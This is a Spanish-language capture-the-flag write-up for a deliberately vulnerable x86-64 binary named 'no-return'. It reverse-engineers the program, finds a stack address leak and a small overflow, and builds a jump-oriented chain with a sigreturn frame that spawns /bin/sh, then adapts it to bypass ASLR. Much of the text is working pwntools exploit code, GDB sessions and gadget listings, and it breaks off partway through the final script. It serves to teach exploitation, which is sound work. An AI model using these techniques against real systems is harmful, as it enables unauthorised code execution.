No Return
20 minutos de lectura
Se nos proporciona un binario de 64 bits llamado no-return
:
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Ingeniería inversa
El binario está compilado estáticamente y es tan pequeño que podemos mostrar el código ensamblador complato aquí:
$ objdump -M intel -d no-return
no-return: file format elf64-x86-64
Disassembly of section .text:
0000000000401000 <.text>:
401000: 5c pop rsp
401001: 5f pop rdi
401002: 5e pop rsi
401003: 5d pop rbp
401004: 5a pop rdx
401005: 59 pop rcx
401006: 5b pop rbx
401007: 48 31 c0 xor rax,rax
40100a: ff 67 01 jmp QWORD PTR [rdi+0x1]
40100d: 48 ff c0 inc rax
401010: de f1 fdivrp st(1),st
401012: ff 22 jmp QWORD PTR [rdx]
401014: 48 2b 74 24 10 sub rsi,QWORD PTR [rsp+0x10]
401019: f5 cmc
40101a: ff 22 jmp QWORD PTR [rdx]
40101c: 48 89 e1 mov rcx,rsp
40101f: fd std
401020: ff 22 jmp QWORD PTR [rdx]
401022: 48 8d 0c d9 lea rcx,[rcx+rbx*8]
401026: fd std
401027: ff 21 jmp QWORD PTR [rcx]
401029: 48 31 d5 xor rbp,rdx
40102c: 0f 95 c4 setne ah
40102f: ff a5 00 00 44 e8 jmp QWORD PTR [rbp-0x17bc0000]
401035: 48 01 f4 add rsp,rsi
401038: de f9 fdivp st(1),st
40103a: ff 22 jmp QWORD PTR [rdx]
40103c: 48 01 dd add rbp,rbx
40103f: 9b fwait
401040: ff 65 c7 jmp QWORD PTR [rbp-0x39]
401043: 88 a7 00 00 44 e8 mov BYTE PTR [rdi-0x17bc0000],ah
401049: f9 stc
40104a: ff 22 jmp QWORD PTR [rdx]
40104c: 59 pop rcx
40104d: 48 89 d1 mov rcx,rdx
401050: 5a pop rdx
401051: ff 21 jmp QWORD PTR [rcx]
401053: 48 ff c1 inc rcx
401056: de f1 fdivrp st(1),st
401058: ff 22 jmp QWORD PTR [rdx]
40105a: 48 92 xchg rdx,rax
40105c: de f9 fdivp st(1),st
40105e: ff 21 jmp QWORD PTR [rcx]
401060: 48 ff c3 inc rbx
401063: de f1 fdivrp st(1),st
401065: ff 22 jmp QWORD PTR [rdx]
401067: 48 87 cf xchg rdi,rcx
40106a: fd std
40106b: ff 22 jmp QWORD PTR [rdx]
40106d: 54 push rsp
40106e: 48 31 c0 xor rax,rax
401071: 48 ff c0 inc rax
401074: 48 31 ff xor rdi,rdi
401077: 48 ff c7 inc rdi
40107a: 48 89 e6 mov rsi,rsp
40107d: ba 08 00 00 00 mov edx,0x8
401082: 0f 05 syscall
401084: 48 81 ee b0 00 00 00 sub rsi,0xb0
40108b: 48 31 c0 xor rax,rax
40108e: 48 31 ff xor rdi,rdi
401091: 48 8d 36 lea rsi,[rsi]
401094: ba c0 00 00 00 mov edx,0xc0
401099: 0f 05 syscall
40109b: 48 83 c4 08 add rsp,0x8
40109f: ff 64 24 f8 jmp QWORD PTR [rsp-0x8]
Esta vez, el binario está desarrollado solo para ser explotado, no hay ningúna funcionalidad realista.
La entrada real del binario es la dirección 0x40106d
. Podemos comprobarlo en GDB:
$ gdb -q no-return
Reading symbols from no-return...
(No debugging symbols found in no-return)
gef➤ start
[+] Breaking at entry-point: 0x40106d
Por lo que la funcionalidad del programa se gestiona con este código ensamblador:
40106d: 54 push rsp
40106e: 48 31 c0 xor rax,rax
401071: 48 ff c0 inc rax
401074: 48 31 ff xor rdi,rdi
401077: 48 ff c7 inc rdi
40107a: 48 89 e6 mov rsi,rsp
40107d: ba 08 00 00 00 mov edx,0x8
401082: 0f 05 syscall
401084: 48 81 ee b0 00 00 00 sub rsi,0xb0
40108b: 48 31 c0 xor rax,rax
40108e: 48 31 ff xor rdi,rdi
401091: 48 8d 36 lea rsi,[rsi]
401094: ba c0 00 00 00 mov edx,0xc0
401099: 0f 05 syscall
40109b: 48 83 c4 08 add rsp,0x8
40109f: ff 64 24 f8 jmp QWORD PTR [rsp-0x8]
Analizando código ensamblador
Lo que hace el programa es escribir datos en stdout
usando sys_write
y luego leyendo datos de entrada con sys_read
. Finalmente, realiza un salto extraño. El programa se rompe al ejecutarlo normalmente:
$ ./no-return
Jasdf
zsh: segmentation fault (core dumped) ./no-return
$ echo asdf | ./no-return
~Bzsh: done echo asdf |
zsh: segmentation fault (core dumped) ./no-return
Nótese que en sys_write
necesitamos estos valores:
$rax
tiene que ser1
$rdi
guarda el descriptor de archivo (1
para elstdout
)$rsi
tiene la dirección de la string que se va a escribir$rdx
contiene el tamaño a escribir en bytes
40106d: 54 push rsp
40106e: 48 31 c0 xor rax,rax
401071: 48 ff c0 inc rax
401074: 48 31 ff xor rdi,rdi
401077: 48 ff c7 inc rdi
40107a: 48 89 e6 mov rsi,rsp
40107d: ba 08 00 00 00 mov edx,0x8
401082: 0f 05 syscall
Esta instrucción es solo una fuga de memoria (específicamente, una dirección de la pila, stack). Lo vimos antes, pero este ejemplo resulta más claro:
$ echo asdf | ./no-return | xxd
00000000: 80c8 43e9 fc7f 0000 ..C.....
zsh: done echo asdf |
zsh: segmentation fault (core dumped) ./no-return |
zsh: done xxd
Para sys_read
, necesitamos esta configuración:
$rax
tiene que ser0
$rdi
tiene que guardar el descriptor de archivo (0
para elstdin
)$rsi
tiene la dirección en la que escribir los datos leídos$rdx
contiene el número de bytes a leer
401084: 48 81 ee b0 00 00 00 sub rsi,0xb0
40108b: 48 31 c0 xor rax,rax
40108e: 48 31 ff xor rdi,rdi
401091: 48 8d 36 lea rsi,[rsi]
401094: ba c0 00 00 00 mov edx,0xc0
401099: 0f 05 syscall
El programa está leyendo hasta 0xc0
(192) bytes. Y los datos se almacenan en la pila (específicamente en $rsp - 0xb0
, porque $rsi
es igual que $rsp
en el código ensamblador anterior)
Finalmente, el programa realiza una instrucción jmp
a la dirección guardada en la dirección apuntada por $rsp - 0x8
(nótense las diferencias entre jmp rsp-0x8
and jmp QWORD PTR [rsp-0x8]
), después de añadir 0x8
al registro:
40109b: 48 83 c4 08 add rsp,0x8
40109f: ff 64 24 f8 jmp QWORD PTR [rsp-0x8]
Vulnerabilidad de Buffer Overflow
Por tanto, podemos controlar este valor, ya que el programa lee hasta 0xc0
bytes y el buffer reservado en el stack es de 0xb0
, por lo que podemos usar los siguientes 8 bytes para guardar la dirección a la que saltar (recordemos que NX está habilitado, por lo que no podemos añadir shellcode y saltar a esta sección).
Lo único que tenemos por ahora es una fuga de una dirección del stack y una instrucción jmp
que podemos controlar. Tenemos que recordar que hay más instrucciones en ensamblador fuera del punto de entrada del programa.
Estrategia de explotación
La estrategia es usar sys_execve
para poder obtener una shell. Para esto, necesitamos:
$rax
tiene que ser0x3b
$rdi
tiene que contener la dirección de la string con el comando a ejecutar ("/bin/sh"
)$rsi
tiene que ser0
$rdx
tiene que ser0
Para controlar $rax
y $rdi
podemos encontrar algunos gadgets:
$ ROPgadget --binary no-return | grep ' rax'
0x000000000040100d : inc rax ; fdivrp st(1) ; jmp qword ptr [rdx]
0x0000000000401003 : pop rbp ; pop rdx ; pop rcx ; pop rbx ; xor rax, rax ; jmp qword ptr [rdi + 1]
0x0000000000401006 : pop rbx ; xor rax, rax ; jmp qword ptr [rdi + 1]
0x0000000000401005 : pop rcx ; pop rbx ; xor rax, rax ; jmp qword ptr [rdi + 1]
0x0000000000401001 : pop rdi ; pop rsi ; pop rbp ; pop rdx ; pop rcx ; pop rbx ; xor rax, rax ; jmp qword ptr [rdi + 1]
0x0000000000401004 : pop rdx ; pop rcx ; pop rbx ; xor rax, rax ; jmp qword ptr [rdi + 1]
0x0000000000401002 : pop rsi ; pop rbp ; pop rdx ; pop rcx ; pop rbx ; xor rax, rax ; jmp qword ptr [rdi + 1]
0x000000000040105a : xchg rax, rdx ; fdivp st(1) ; jmp qword ptr [rcx]
0x0000000000401007 : xor rax, rax ; jmp qword ptr [rdi + 1]
$ ROPgadget --binary no-return | grep -v xor | grep ' rax'
0x000000000040100d : inc rax ; fdivrp st(1) ; jmp qword ptr [rdx]
0x000000000040105a : xchg rax, rdx ; fdivp st(1) ; jmp qword ptr [rcx]
$ ROPgadget --binary no-return | grep ' rdi'
0x0000000000401001 : pop rdi ; pop rsi ; pop rbp ; pop rdx ; pop rcx ; pop rbx ; xor rax, rax ; jmp qword ptr [rdi + 1]
0x0000000000401067 : xchg rdi, rcx ; std ; jmp qword ptr [rdx]
Nótese que he quitado todos los xor rax, rax
porque esta instrucción romperá nuestra estrategia poniendo $rax
a 0
. De momento, vamos a mirar estos gadgets:
$ ROPgadget --binary no-return | grep xchg | grep -E 'rax|rdi'
0x000000000040105a : xchg rax, rdx ; fdivp st(1) ; jmp qword ptr [rcx]
0x0000000000401067 : xchg rdi, rcx ; std ; jmp qword ptr [rdx]
Con estos gadgets, somos capaces de controlar el contenido de $rax
y $rdi
si controlamos $rdx
y $rcx
.
Para poder controlar $rdx
y $rcx
, tenemos este conjunto de instrucciones al principio del binario:
401000: 5c pop rsp
401001: 5f pop rdi
401002: 5e pop rsi
401003: 5d pop rbp
401004: 5a pop rdx
401005: 59 pop rcx
401006: 5b pop rbx
401007: 48 31 c0 xor rax,rax
40100a: ff 67 01 jmp QWORD PTR [rdi+0x1]
Nótese que la última instrucción es un jmp
a la dirección apuntada por la dirección guardada en $rdi + 1
, por lo que tenemos que guardar ahí una dirección que contenga una dirección ejecutable (no puede ser la dirección de "/bin/sh"
aún). Además, aunque hay un pop rax
, luego viene un xor rax, rax
que lo pone a 0
, por lo que tampoco podemos poner $rax
igual a 0x3b
.
Entonces, la idea es controlar $rcx
y $rdx
y luego llamar a uno de los gadgets anteriores. Pero hay un problema si queremos ejecutar ambos, ya que son algo simétricos, y una vez que los valores son correctos para el primer gadget, luego para el segundo causarán un crash. Y no podemos ir al conjunto de instrucciones anterior porque perdemos $rax
y $rdi
.
Perfeccionando la estrategia
Por tanto, tenemos que usar uno de los gadgets. Para poder poner el valor de $rdi
, usaré sys_rt_sigreturn
, para restaurar un frame a los registros, de manera que son controlados al completo.
Para un sys_rt_sigreturn
, necesitamos que $rax
sea 0xf
, y nada más. Por tanto, podemos poner este valor con:
0x000000000040105a : xchg rax, rdx ; fdivp st(1) ; jmp qword ptr [rcx]
Entonces, $rdx
tiene que ser 0xf
y luego la dirección apuntada por $rcx
tiene que contener la dirección de una instrucción syscall
(0x401082
or 0x401099
). Una vez que lleguemos al paso de sys_rt_sigreturn
, configuraremos los registros y ejecutaremos sys_execve
.
Desarrollo del exploit
Ahora que tenemos la estrategia clara, vamos a implementarlo. En primer lugar, tenemos que poner los datos en la pila.
Tenemos que darnos cuenta de que podemos usar la última instrucción jmp
del programa para saltar de nuevo al inicio. A simple vista, esto no es útil, pero podemos usar un truco. Recordemos que el programa lee hasta 0xc0
bytes, pero solo 0xb0
están reservados. Esto es una especie de vulnerabilidad de Buffer Overflow, pero no hay dirección de retorno que controlar.
De hecho, no hay gadgets que terminen en ret
, todos acaban en una instrucción jmp
. Y por esto, la técnica que estamos usando se llama JOP (Jump Oriented Programming).
Creando espacio para el payload
La clave aquí es que tenemos 16 bytes para escribir. Los primeros 8 bytes tienen que tener una dirección que será ejecutada después con la última instrucción jmp
. Pero usaré los segundos 8 bytes para dejar la pila más limpia. Entonces, los primeros 8 bytes tendrán la dirección 0x40109b
(add rsp, 0x8
), de manera que volvemos a la instrucción jmp
, pero con la pila completamente limpia para el siguiente frame. Los segundos 8 bytes contendrán la dirección del punto de entrada, lo veremos en un momento.
Por ahora, podemos escribir un bucle en un script en Python que tenga esta funcionalidad:
#!/usr/bin/env python3
from pwn import *
context.binary = 'no-return'
def get_process():
if len(sys.argv) == 1:
return context.binary.process()
host, port = sys.argv[1].split(':')
return remote(host, int(port))
def main():
p = get_process()
offset = 176
junk = b'A' * offset
for _ in range(8):
leak = u64(p.recv(8).ljust(8, b'\0'))
log.info(f'Stack address leak: {hex(leak)}')
payload = junk
payload += p64(0x40109b)
payload += p64(0x40106d)
p.send(payload)
$ python3 solve.py
[*] './no-return'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './no-return': pid 1015028
[*] Stack address leak: 0x7ffcd2a8edb0
[*] Stack address leak: 0x7ffcd2a8edb8
[*] Stack address leak: 0x7ffcd2a8edc0
[*] Stack address leak: 0x7ffcd2a8edc8
[*] Stack address leak: 0x7ffcd2a8edd0
[*] Stack address leak: 0x7ffcd2a8edd8
[*] Stack address leak: 0x7ffcd2a8ede0
[*] Stack address leak: 0x7ffcd2a8ede8
[*] Stopped process './no-return' (pid 1015028)
Nótese que la dirección del stack se incrementa en 8
en cada iteración. El hecho es que con este procedimiento, estamos tomando el control sobre los 8 bytes de la pila que quedarán ahí hasta que el programa termine. Podemos modificar un poco el script para verlo en GDB:
def main():
p = get_process()
offset = 176
gdb.attach(p, gdbscript='break *0x40109f')
for i in range(8):
junk = chr(ord('A') + i).encode() * offset
leak = u64(p.recv(8).ljust(8, b'\0'))
log.info(f'Stack address leak: {hex(leak)}')
payload = junk
payload += p64(0x40109b)
payload += p64(0x40106d)
p.send(payload)
El script utiliza caracteres diferentes como datos en cada iteración. Podemos ejecutarlo y continuar en GDB unas cuantas veces. Luego, mostramos la pila (stack):
gef➤ grep AAAA
[+] Searching 'AAAA' in memory
[+] In '[stack]'(0x7ffc34121000-0x7ffc34142000), permission=rw-
0x7ffc34140fa8 - 0x7ffc34140fdf → "AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFFGG[...]"
0x7ffc34140fac - 0x7ffc34140fe3 → "AAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFFGGGGGG[...]"
gef➤ x/100x 0x7ffc34140fa8
0x7ffc34140fa8: 0x41414141 0x41414141 0x42424242 0x42424242
0x7ffc34140fb8: 0x43434343 0x43434343 0x44444444 0x44444444
0x7ffc34140fc8: 0x45454545 0x45454545 0x46464646 0x46464646
0x7ffc34140fd8: 0x47474747 0x47474747 0x47474747 0x47474747
0x7ffc34140fe8: 0x47474747 0x47474747 0x47474747 0x47474747
0x7ffc34140ff8: 0x47474747 0x47474747 0x47474747 0x47474747
0x7ffc34141008: 0x47474747 0x47474747 0x47474747 0x47474747
0x7ffc34141018: 0x47474747 0x47474747 0x47474747 0x47474747
0x7ffc34141028: 0x47474747 0x47474747 0x47474747 0x47474747
0x7ffc34141038: 0x47474747 0x47474747 0x47474747 0x47474747
0x7ffc34141048: 0x47474747 0x47474747 0x47474747 0x47474747
0x7ffc34141058: 0x47474747 0x47474747 0x47474747 0x47474747
0x7ffc34141068: 0x47474747 0x47474747 0x47474747 0x47474747
0x7ffc34141078: 0x47474747 0x47474747 0x47474747 0x47474747
0x7ffc34141088: 0x0040109b 0x00000000 0x0040106d 0x00000000
0x7ffc34141098: 0x34141b1b 0x00007ffc 0x34141b26 0x00007ffc
0x7ffc341410a8: 0x34141b37 0x00007ffc 0x34141b61 0x00007ffc
0x7ffc341410b8: 0x34141b72 0x00007ffc 0x34141b89 0x00007ffc
0x7ffc341410c8: 0x34141ba7 0x00007ffc 0x34141bc2 0x00007ffc
0x7ffc341410d8: 0x34141bda 0x00007ffc 0x34141bee 0x00007ffc
0x7ffc341410e8: 0x34141c05 0x00007ffc 0x34141c1a 0x00007ffc
0x7ffc341410f8: 0x34141c33 0x00007ffc 0x34141c47 0x00007ffc
0x7ffc34141108: 0x34141c55 0x00007ffc 0x34141c81 0x00007ffc
0x7ffc34141118: 0x34141caa 0x00007ffc 0x34141cb9 0x00007ffc
0x7ffc34141128: 0x34141d00 0x00007ffc 0x34141dc4 0x00007ffc
Perfecto, hemos encontrado una manera de incrementar el espacio en la pila y controlar lo que escribimos ahí.
Construyendo el payload
Para continuar con la explotación, deshabilitaré ASLR localmente y utilizaré direcciones hard-coded para implementar la estrategia mostrada anteriormente.
# echo 0 | tee /proc/sys/kernel/randomize_va_space
0
Si ejecutamos el mismo script, veremos direcciones de memoria fijas porque ASLR está desactivado:
gef➤ grep AAAA
[+] Searching 'AAAA' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffe6e8 - 0x7fffffffe71f → "AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFFGG[...]"
0x7fffffffe6ec - 0x7fffffffe723 → "AAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFFGGGGGG[...]"
gef➤ x/100x 0x7fffffffe6e8
0x7fffffffe6e8: 0x41414141 0x41414141 0x42424242 0x42424242
0x7fffffffe6f8: 0x43434343 0x43434343 0x44444444 0x44444444
0x7fffffffe708: 0x45454545 0x45454545 0x46464646 0x46464646
0x7fffffffe718: 0x47474747 0x47474747 0x47474747 0x47474747
0x7fffffffe728: 0x47474747 0x47474747 0x47474747 0x47474747
0x7fffffffe738: 0x47474747 0x47474747 0x47474747 0x47474747
0x7fffffffe748: 0x47474747 0x47474747 0x47474747 0x47474747
0x7fffffffe758: 0x47474747 0x47474747 0x47474747 0x47474747
0x7fffffffe768: 0x47474747 0x47474747 0x47474747 0x47474747
0x7fffffffe778: 0x47474747 0x47474747 0x47474747 0x47474747
0x7fffffffe788: 0x47474747 0x47474747 0x47474747 0x47474747
0x7fffffffe798: 0x47474747 0x47474747 0x47474747 0x47474747
0x7fffffffe7a8: 0x47474747 0x47474747 0x47474747 0x47474747
0x7fffffffe7b8: 0x47474747 0x47474747 0x47474747 0x47474747
0x7fffffffe7c8: 0x0040109b 0x00000000 0x0040106d 0x00000000
0x7fffffffe7d8: 0xffffeb1b 0x00007fff 0xffffeb26 0x00007fff
0x7fffffffe7e8: 0xffffeb37 0x00007fff 0xffffeb61 0x00007fff
0x7fffffffe7f8: 0xffffeb72 0x00007fff 0xffffeb89 0x00007fff
0x7fffffffe808: 0xffffeba7 0x00007fff 0xffffebc2 0x00007fff
0x7fffffffe818: 0xffffebda 0x00007fff 0xffffebee 0x00007fff
0x7fffffffe828: 0xffffec05 0x00007fff 0xffffec1a 0x00007fff
0x7fffffffe838: 0xffffec33 0x00007fff 0xffffec47 0x00007fff
0x7fffffffe848: 0xffffec55 0x00007fff 0xffffec81 0x00007fff
0x7fffffffe858: 0xffffecaa 0x00007fff 0xffffecb9 0x00007fff
0x7fffffffe868: 0xffffed00 0x00007fff 0xffffedc4 0x00007fff
Y estas son las fugas de memoria:
$ python3 solve.py
[*] './no-return'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './no-return': pid 1031120
[+] Waiting for debugger: Done
[*] Stack address leak: 0x7fffffffe7a0
[*] Stack address leak: 0x7fffffffe7a8
[*] Stack address leak: 0x7fffffffe7b0
[*] Stack address leak: 0x7fffffffe7b8
[*] Stack address leak: 0x7fffffffe7c0
[*] Stack address leak: 0x7fffffffe7c8
[*] Stack address leak: 0x7fffffffe7d0
[*] Stack address leak: 0x7fffffffe7d8
[*] Stopped process './no-return' (pid 1031120)
Genial, ahora vamos a escribir el payload que será ejecutado. En primer lugar, una vez que termine el bucle, saltaremos a 0x401000
, para configurar el valor de algunos registros:
401000: 5c pop rsp
401001: 5f pop rdi
401002: 5e pop rsi
401003: 5d pop rbp
401004: 5a pop rdx
401005: 59 pop rcx
401006: 5b pop rbx
401007: 48 31 c0 xor rax,rax
40100a: ff 67 01 jmp QWORD PTR [rdi+0x1]
$rsp
tiene que tener la dirección donde se encuentra el valor que queremos guardar en$rdi
- Valores cualesquiera para
$rsi
y$rbp
$rdi
tiene que contener una dirección (menos uno) que contenga la dirección de la siguiente instrucción a ejecutar (el gadget de0x40105a
)$rdx
tiene que ser0xf
(porque el_gadget_ moverá este valor a$rax
, y así podremos ejecutarsys_rt_sigreturn
)$rcx
tendrá la dirección de una dirección que apunte a una instrucciónsyscall
(0x401082
o0x401099
)- Cualquier valor para
$rbx
Luego, el programa saltará a la dirección guardada en la dirección apuntada por $rdi+0x1
, que es el gadget:
0x000000000040105a : xchg rax, rdx ; fdivp st(1) ; jmp qword ptr [rcx]
Aquí, el valor de $rax
cambiará a 0xf
, y el salto llevará al programa a ejecutar sys_rt_sigreturn
. Entonces, después de los datos anteriores, pondremos el frame que será restaurado a los registros. En pwntools
existe una clase llamada SigreturnFrame
que ayuda a realizar esta técnica.
Una vez que los registros están configurados como se dijo antes, el programa resultará en una shell.
De momento, usaré valores reconocibles para identificar las direcciones que tienen que reemplazarse por valores cualesquiera:
def send_data(p, data: bytes, offset: int) -> int:
junk = data * (offset // 8)
leak = u64(p.recv(8).ljust(8, b'\0'))
payload = junk
payload += p64(0x40109b)
payload += p64(0x40106d)
p.send(payload)
return leak
def main():
p = get_process()
offset = 176
data = b'/bin/sh\0'
data += p64(0x40105a)
data += p64(0x401099)
data += p64(0xacdcacdc) # rdi
data += p64(0) # rsi
data += p64(0) # rbp
data += p64(0xf) # rdx
data += p64(0xcafebabe) # rcx
data += p64(0) # rbx
frame = SigreturnFrame()
frame.rax = 0x3b
frame.rip = 0x401099
frame.rdi = 0xf00df00d
frame.rsi = 0
frame.rdx = 0
data += bytes(frame)
gdb.attach(p, gdbscript='break *0x401000')
for i in range(8, len(data), 8):
send_data(p, data[i : i + 8], offset)
payload = b'A' * offset
payload += p64(0x401000)
payload += p64(0xdeadbeef) # rsp
p.send(payload)
p.recv()
p.interactive()
Perfeccionando el payload
Agregaré GDB al proceso y pondré un breakpoint en 0x401000
(en pop rsp
). Podemos ejecutar hasta que lleguemos a este punto:
gef➤ continue
Continuing.
Breakpoint 1, 0x0000000000401000 in ?? ()
Vemos el valor 0xdeadbeef
que irá a $rsp
:
gef➤ x/i $rip
=> 0x401000: pop rsp
gef➤ x/4gx $rsp
0x7fffffffe8e0: 0x00000000deadbeef 0x00007fffffffef46
0x7fffffffe8f0: 0x00007fffffffef5b 0x00007fffffffefaa
Tenemos que cambiar 0xdeadbeef
por la dirección que almacena el valor que irá en $rdi
, que es 0xacdcacdc
:
gef➤ grep 0xacdcacdc
[+] Searching '\xdc\xac\xdc\xac' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffe700 - 0x7fffffffe710 → "\xdc\xac\xdc\xac[...]"
Entonces 0xdeadbeef -> 0x7fffffffe700
. Continuamos:
gef➤ si
0x0000000000401001 in ?? ()
Y ponemos el valor de $rsp
:
gef➤ set $rsp = 0x7fffffffe700
gef➤ x/i $rip
=> 0x401001: pop rdi
gef➤ x/4gx $rsp
0x7fffffffe700: 0x00000000acdcacdc 0x0000000000000000
0x7fffffffe710: 0x0000000000000000 0x000000000000000f
gef➤ si
0x0000000000401002 in ?? ()
Ahora vamos a buscar la dirección donde se guarda 0x40105a
:
gef➤ p/x $rdi
$1 = 0xacdcacdc
gef➤ grep 0x40105a
[+] Searching '\x5a\x10\x40' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffe6f0 - 0x7fffffffe6fc → "\x5a\x10\x40[...]"
Entonces 0xacdcacdc -> (0x7fffffffe6f0 - 1)
, de forma que jmp QWORD PTR [rdi+0x1]
va a 0x40105a
.
gef➤ set $rdi = 0x7fffffffe6f0 - 1
Unos pasos después, tenemos que cambiar el valor de $rcx
, que está puesto como 0xcafebabe
, y debería ser 0x401099
:
gef➤ p/x $rcx
$2 = 0xcafebabe
gef➤ grep 0x401099
[+] Searching '\x99\x10\x40' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffe6f8 - 0x7fffffffe704 → "\x99\x10\x40[...]"
0x7fffffffe7d8 - 0x7fffffffe7e4 → "\x99\x10\x40[...]"
Por tanto, 0xcafebabe -> 0x7fffffffe6f8
:
gef➤ set $rcx = 0x7fffffffe6f8
Finalmente, saltaremos al gadget y ejecutaremos sys_rt_sigreturn
:
gef➤ x/i $rip
=> 0x401099: syscall
gef➤ p/x $rax
$3 = 0xf
gef➤ x/40gx $rsp
0x7fffffffe730: 0x0000000000000000 0x0000000000000000
0x7fffffffe740: 0x0000000000000000 0x0000000000000000
0x7fffffffe750: 0x0000000000000000 0x0000000000000000
0x7fffffffe760: 0x0000000000000000 0x0000000000000000
0x7fffffffe770: 0x0000000000000000 0x0000000000000000
0x7fffffffe780: 0x0000000000000000 0x0000000000000000
0x7fffffffe790: 0x0000000000000000 0x00000000f00df00d
0x7fffffffe7a0: 0x0000000000000000 0x0000000000000000
0x7fffffffe7b0: 0x0000000000000000 0x0000000000000000
0x7fffffffe7c0: 0x000000000000003b 0x0000000000000000
0x7fffffffe7d0: 0x0000000000000000 0x0000000000401099
0x7fffffffe7e0: 0x0000000000000000 0x0000000000000033
0x7fffffffe7f0: 0x0000000000000000 0x0000000000000000
0x7fffffffe800: 0x0000000000000000 0x0000000000000000
0x7fffffffe810: 0x0000000000000000 0x0000000000000000
0x7fffffffe820: 0x0000000000000000 0x4141414141414141
0x7fffffffe830: 0x4141414141414141 0x4141414141414141
0x7fffffffe840: 0x4141414141414141 0x4141414141414141
0x7fffffffe850: 0x4141414141414141 0x4141414141414141
0x7fffffffe860: 0x4141414141414141 0x4141414141414141
Al continuar un paso más, el frame se restaurará en los registros:
gef➤ si
0x0000000000401099 in ?? ()
gef➤ info registers
rax 0x3b 0x3b
rbx 0x0 0x0
rcx 0x0 0x0
rdx 0x0 0x0
rsi 0x0 0x0
rdi 0xf00df00d 0xf00df00d
rbp 0x0 0x0
rsp 0x0 0x0
...
rip 0x401099 0x401099
...
Y ahí está el ultimo valor (0xf00df00d
), que debería ser la dirección donde está "/bin/sh"
:
gef➤ grep /bin/sh
[+] Searching '/bin/sh' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffe6e8 - 0x7fffffffe6ef → "/bin/sh"
Y entonces 0xf00df00d -> 0x7fffffffe6e8
. Si cambiamos este valor y continuamos, tenemos una shell:
gef➤ set $rdi = 0x7fffffffe6e8
gef➤ continue
Continuing.
process 1145760 is executing new program: /usr/bin/dash
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x401000
Perfecto, vamos a modificar los valores de prueba y ver si el exploit funciona:
def main():
p = get_process()
offset = 176
data = b'/bin/sh\0'
data += p64(0x40105a)
data += p64(0x401099)
data += p64(0x7fffffffe6f0 - 1) # rdi
data += p64(0) # rsi
data += p64(0) # rbp
data += p64(0xf) # rdx
data += p64(0x7fffffffe6f8) # rcx
data += p64(0) # rbx
frame = SigreturnFrame()
frame.rax = 0x3b
frame.rip = 0x401099
frame.rdi = 0x7fffffffe6e8
frame.rsi = 0
frame.rdx = 0
data += bytes(frame)
for i in range(8, len(data), 8):
send_data(p, data[i : i + 8], offset)
payload = b'A' * offset
payload += p64(0x401000)
payload += p64(0x7fffffffe700) # rsp
p.send(payload)
p.recv()
p.interactive()
Y sí, funciona:
$ python3 solve.py
[*] './no-return'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './no-return': pid 1192591
[*] Switching to interactive mode
$ ls
no-return solve.py
Activación de ASLR
Ahora tenemos que activar ASLR y saltárnoslo. Esto se puede hacer con las fugas de memoria que tenemos. Antes de habilitar ASLR, vamos a calcular las direcciones como un offset de la primera fuga de memoria. Para ello, sacaré la primera iteración fuera del bucle:
def main():
p = get_process()
offset = 176
data = b'/bin/sh\0'
stack_leak = send_data(p, data, offset)
log.info(f'Stack address leak: {hex(stack_leak)}')
data += p64(0x40105a)
data += p64(0x401099)
data += p64(0x7fffffffe6f0 - 1) # rdi
data += p64(0) # rsi
data += p64(0) # rbp
data += p64(0xf) # rdx
data += p64(0x7fffffffe6f8) # rcx
data += p64(0) # rbx
frame = SigreturnFrame()
frame.rax = 0x3b
frame.rip = 0x401099
frame.rdi = 0x7fffffffe6e8
frame.rsi = 0
frame.rdx = 0
data += bytes(frame)
for i in range(8, len(data), 8):
send_data(p, data[i : i + 8], offset)
payload = b'A' * offset
payload += p64(0x401000)
payload += p64(0x7fffffffe700) # rsp
p.send(payload)
p.recv()
p.interactive()
$ python3 solve.py
[*] './no-return'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './no-return': pid 1194870
[*] Stack address leak: 0x7fffffffe7a0
[*] Switching to interactive mode
$ ls
no-return solve.py
Estos son los offsets al stack leak:
$ python3 -q
>>> stack_leak = 0x7fffffffe7a0
>>> 0x7fffffffe6f0 - stack_leak
-176
>>> 0x7fffffffe6f8 - stack_leak
-168
>>> 0x7fffffffe6e8 - stack_leak
-184
>>> 0x7fffffffe700 - stack_leak
-160
Incluso podemos referenciarlos a offset
, que es 176
:
>>> offset = 176
>>> 0x7fffffffe6f0 - (stack_leak - offset)
0
>>> 0x7fffffffe6f8 - (stack_leak - offset)
8
>>> 0x7fffffffe6e8 - (stack_leak - offset)
-8
>>> 0x7fffffffe700 - (stack_leak - offset)
16
Y así, tenemos este exploit:
def main():
p = get_process()
offset = 176
data = b'/bin/sh\0'
stack_leak = send_data(p, data, offset)
log.info(f'Stack address leak: {hex(stack_leak)}')
data += p64(0x40105a)
data += p64(0x401099)
data += p64(stack_leak - offset - 1) # rdi
data += p64(0) # rsi
data += p64(0) # rbp
data += p64(0xf) # rdx
data += p64(stack_leak - offset + 8) # rcx
data += p64(0) # rbx
frame = SigreturnFrame()
frame.rax = 0x3b
frame.rip = 0x401099
frame.rdi = stack_leak - offset - 8
frame.rsi = 0
frame.rdx = 0
data += bytes(frame)
for i in range(8, len(data), 8):
send_data(p, data[i : i + 8], offset)
payload = b'A' * offset
payload += p64(0x401000)
payload += p64(stack_leak - offset + 16) # rsp
